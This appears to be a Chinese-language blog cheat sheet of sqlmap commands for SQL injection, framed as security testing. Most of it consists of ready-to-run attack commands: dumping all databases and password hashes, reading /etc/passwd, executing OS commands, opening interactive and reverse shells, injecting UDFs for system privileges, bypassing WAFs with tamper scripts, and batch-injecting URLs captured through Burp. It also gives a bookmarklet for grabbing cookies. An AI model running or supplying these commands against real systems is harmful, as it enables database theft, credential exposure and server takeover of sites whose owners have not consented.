安全性测试相关,  测试

SQLmap常用技巧

常用参数:

(1)判断当前用户是否是dba: ./sqlmap.py -u "url" --is-dba -v 1

(2)列出数据库管理系统用户:./sqlmap.py -u "url" --users -v 0

(3)数据库用户密码(hash):

./sqlmap.py -u "url" --passwords -v 0

./sqlmap.py -u "url" --passwords -U sa -v 0

(4)查看用户权限:

./sqlmap.py -u "url" --privileges -v 0

./sqlmap.py -u "url" --privileges -U postgres -v 0

(5)列出数据库:

./sqlmap.py -u "url" --dbs -v 0

(6)列出数据库表:

./sqlmap.py -u "url" --tables -D "information_scheam"

(7)列出表中的列名:

./sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1

(8)列出指定列的内容:

./sqlmap.py -u "url" --dump -T "users" -D "testdb" -C "指定字段”  

指定范围:

./sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0

(9)列出所有数据库,所有表内容:

./sqlmap.py -u "url" --dump-all -v 0

只列出用户自己新建的数据库和表的内容:

./sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0

(10)读取文件内容[load_file(函数)]:

./sqlmap.py -u "url" --file /etc/password

(11)执行SQL:

./sqlmap.py -u "url" --sql-shell

(12)指定参数:

./sqlmap.py -u "url" -p "id" -v 1

(13)POST提交:

./sqlmap.py -u "url" --method POST --data "id=1"

(14)COOKIE提交:

./sqlmap.py -u "url" --cookie "id=1" -v 1

(15)refer欺骗:

./sqlmap.py -u "url" --refer "url" -v 3

(16)使用自定义user-agent或者user-agents.txt:

./sqlmap.py -u "url" --user-agent "Mozilla/4.0(compatible;MSIE 7.0;Windows NT5.1)" -v 3

./sqlmap.py -u "url" -a "./txt/user-agents.txt" -v 1

(17)使用多线程猜解:

./sqlmap.py -u "url" --current-user --threads 3 -v 1

(18)指定数据库,绕过salmap自动检测:

./sqlmap.py -u "url" --dbms "PostgreSQL" -v 2

(19)指定操作系统:

./sqlmap.py -u "url" --os "Windows" -v 2

(20)自动义payload:

./sqlmap.py -u "url" -p "id" --prefix " ' " --postfix "and 'test' = 'test "

(21)union注入测试:

./sqlmap.py -u "url" --union-test -v 1

(22)配合order by:

./sqlmap.py -u "url" --union-test --union-tech orderby -v 1

(23) ./sqlmap.py -u "url" --union-use --banner -v 1

./sqlmap.py -u "url" --union-use --current-user -v 5

./sqlmap.py -u "url" --union-use --dbs -v 1

========================================================================

========================================================================

1. 基础用法:

./sqlmap.py -u "注入地址” -v 1 –dbs   // 列举数据库
./sqlmap.py -u "注入地址” -v 1 –current-db   // 当前数据库
./sqlmap.py -u "注入地址” -v 1 –users    // 列数据库用户
./sqlmap.py -u "注入地址” -v 1 –current-user  // 当前用户
./sqlmap.py -u "注入地址” -v 1 –tables -D "数据库”   // 列举数据库的表名
./sqlmap.py -u "注入地址” -v 1 –columns -T "表名” -D "数据库”   // 获取表的列名
./sqlmap.py -u "注入地址” -v 1 –dump -C "字段,字段” -T "表名” -D "数据库”   // 获取表中的数据,包含列

已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中

2. sqlmap post注入

我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。
1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 如下图,这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

6. 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass

这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
而-p 大家应该比较熟悉,指定注入用的参数。

3.sqlmap  cookies注入

sqlmap.py -u "http://127.0.0.1/base.php” –cookies "id=1″  –dbs –level 2

 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可

利用sqlmap cookies注入突破用户登录继续注入
先把用户登陆的cookie拿到吧,
在收藏夹添加一个链接cookies属性:
名字自己取
javascript:alert(document.cookie),,需要获取当前cookie的时候,
直接点一下这个链接,然后复制一下弹出对话框
里的cookie值就搞定了

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”

-p是指指定参数注入

4. sqlmap遇到url重写的注入

哪里存在注入就加上 * 号
./sqlmap.py -u "http://www.cunlide.com/id1/1*/id2/2"

5.sqlmap 编码绕waf注入

./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms "MySQL” –technique U -p id –batch –tamper "space2morehash.py”

在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载

6.结合burp批量注入用法

(1) -l 从Burp或WebScarab代理的日志中解析目标

a)利用burp代理,转到history选项卡,选中数据包右键-->save items,保存文档a.txt

 b)./sqlmap.py --batch -l a.txt(即可批量注入,--batch)

(2)-m 批量注入url连接文件

a)利用burp代理,转到history选项卡,选中数据包右键-->copy URLs,保存文档b.txt

b)./sqlmap.py --batch -m b.txt

----------------------------------------------------------------------------

----------------------------------------------------------------------------

其他基础:
sqlmap -u "http://url/news?id=1” –level=3 –smart –dbms "Mysql” –current-user #获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1” –level=3 –smart –dbms "Mysql” –current-db  #获取当前数据库名称
sqlmap -u "http://www.xxoo.com/news?id=1” –level=3 –smart –dbms "Mysql” –tables  -D "db_name” #列表名
sqlmap -u "http://url/news?id=1” –level=3 –smart  –dbms "Mysql” –columns -T "tablename” users-D "db_name” -v 0 #列字段
sqlmap -u "http://url/news?id=1” –level=3 –smart –dbms "Mysql”  –dump  -C "column_name”  -T "table_name” -D "db_name” -v 0   #获取字段内容

******************信息获取******************
sqlmap -u " –smart –dbms "Mysql” –users  #列数据库用户  

sqlmap -u " –smart –dbms "Mysql” –dbs#列数据库 

sqlmap -u " –smart –dbms "Mysql”–passwords #数据库用户密码  

sqlmap -u " –smart –dbms "Mysql”–passwords-U root  -v 0 #列出指定用户数据库密码 

 sqlmap -u " –smart –dbms "Mysql” –dump-all -v 0 #列出所有数据库所有表   
sqlmap -u " –smart –dbms "Mysql”–privileges #查看权限  

sqlmap -u " –smart –dbms "Mysql”–privileges -U root #查看指定用户权限  

sqlmap -u " –smart –dbms "Mysql” –is-dba -v 1 #是否是数据库管理员 

 sqlmap -u " –smart –dbms "Mysql” –roles #枚举数据库用户角色  

sqlmap -u " –smart –dbms "Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)  

sqlmap -u " –smart –dbms "Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表  
sqlmap -u " –smart –dbms "Mysql” –union-check #是否支持union 注入  

sqlmap -u " –smart –dbms "Mysql”–union-cols #union 查询表记录  

sqlmap -u " –smart –dbms "Mysql” –union-test #union 语句测试  
sqlmap -u " –smart –dbms "Mysql” –union-use –banner #采用union 注入 

 sqlmap -u " –smart –dbms "Mysql”–union-test –union-tech orderby #union 配合 order by  
sqlmap -u " –smart –dbms "Mysql”–method "POST” — data "id=1&cat=2″ #post注入  

sqlmap -u " –smart –dbms "Mysql”–cookie "COOKIE_VALUE” #cookie注入  
sqlmap -u " –smart –dbms "Mysql”-b #获取banner信息 

sqlmap -u "http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入
sqlmap -u "http://url/news?id=1″–string”STRING_ON_TRUE_PAGE"  #指定关键词

sqlmap -u " –smart –dbms "Mysql”–sql-shell #执行指定sql命令  
sqlmap -u " –smart –dbms "Mysql”–file /etc/passwd  

sqlmap -u " –smart –dbms "Mysql”–os-cmd=whoami #执行系统命令  

sqlmap -u " –smart –dbms "Mysql”–os-shell #系统交互shell  

sqlmap -u " –smart –dbms "Mysql”–os-pwn #反弹

shell  sqlmap -u " –smart –dbms "Mysql”–reg-read #读取win系统注册表  

sqlmap -u " –smart –dbms "Mysql” –dbs-o "sqlmap.log” #保存进度  

sqlmap -u " –smart –dbms "Mysql” –dbs  -o "sqlmap.log” –resume  #恢复已保存进度 
SQLmap常用技巧已关闭评论